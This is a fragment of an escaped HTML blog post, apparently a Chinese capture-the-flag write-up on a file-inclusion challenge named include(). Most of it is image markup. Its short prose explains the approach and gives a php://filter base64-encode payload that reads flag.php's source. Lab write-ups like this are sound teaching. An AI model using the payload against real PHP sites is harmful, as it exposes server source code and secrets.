data-original=\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/6233cf58-0f03-4da7-b1d6-7f20c6769e7f.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"6233cf58-0f03-4da7-b1d6-7f20c6769e7f\" \/><\/div><\/p>\n<p>\u9898\u76ee\u540dinclude\uff08\uff09\uff0c\u6709\u7aef\u8054\u60f3\u6587\u4ef6\u5305\u542b\uff0c\u7136\u540e\u770burl\u63a8\u6d4b\u53c2\u6570\u662ffile\uff0c\u53ef\u662ffile=flag.php\u8bf4\u660e\u76f4\u63a5\u8bfb\u6587\u4ef6\u884c\u4e0d\u901a\u90a3\u4e48\u5c31\u7528php\u4f2a\u534f\u8baephp:\/\/filter,\u6784\u9020\u5982\u4e0b\uff1a<\/p>\n<pre><code>?file=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php<\/code><\/pre>\n<p>\u7136\u540e\u53d1\u73b0\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/f32a5a21-0def-4fc5-92b3-cbe735f5fa31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/f32a5a21-0def-4fc5-92b3-cbe735f5fa31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"f32a5a21-0def-4fc5-92b3-cbe735f5fa31\" \/><\/div><\/p>\n<p>\u89e3\u7801\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/a86de18d-9e61-4b1a-828f-e66263e63926.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/a86de18d-9e61-4b1a-828f-e66263e63926.png\" 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